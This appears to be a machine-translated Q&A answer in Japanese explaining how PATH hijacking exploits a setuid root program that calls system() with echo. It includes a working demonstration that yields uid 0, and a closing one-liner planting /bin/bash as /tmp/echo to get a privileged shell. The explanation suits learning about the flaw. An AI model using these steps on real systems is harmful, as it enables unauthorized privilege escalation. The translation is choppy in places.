PATH
をオーバーライドできます カスタム バージョンの echo
を含むディレクトリを指す変数 そして echo
以降 env
を使用して実行されます 、組み込みとして扱われません。
これは、コードが特権ユーザーとして実行された場合にのみ脆弱性を構成します。
以下の例では、ファイル v.c に質問のコードが含まれています。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
setresuid()
の呼び出しによって、実ユーザー ID、実効ユーザー ID、保存された set-user-ID の設定が行われることに注意してください。 system()
の呼び出し前 質問に投稿された脆弱なコードでは、有効なユーザー ID のみが特権ユーザー ID に設定され、実際のユーザー ID が非特権のままである場合でも、脆弱性を悪用することができます (たとえば、set-user-ID ビットに依存する場合のように)上記のようなファイル)。 setresuid()
への呼び出しなし system()
によって実行されるシェル 有効なユーザー ID を実際のユーザー ID にリセットし、エクスプロイトを無効にします。ただし、脆弱なコードが特権ユーザーの実ユーザー ID で実行された場合、 system()
電話だけで十分です。 sh
を引用 マニュアルページ:
実際のユーザー (グループ) ID と等しくない実効ユーザー (グループ) ID でシェルが開始され、-p オプションが指定されていない場合、起動ファイルは読み取られず、シェル関数は環境から継承されず、SHELLOPTS 変数環境に表示される場合は無視され、有効なユーザー ID は実際のユーザー ID に設定されます。呼び出し時に -p オプションが指定されている場合、起動時の動作は同じですが、有効なユーザー ID はリセットされません。
また、setresuid()
にも注意してください。 移植性はありませんが、setuid()
または setreuid()
も同じ効果で使用できます。
実際には、システム関数呼び出しで echo
を台無しにすることができます command.たとえば、次のコードを実行した場合:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
ファイル所有者のアクセス許可を持つシェルを取得します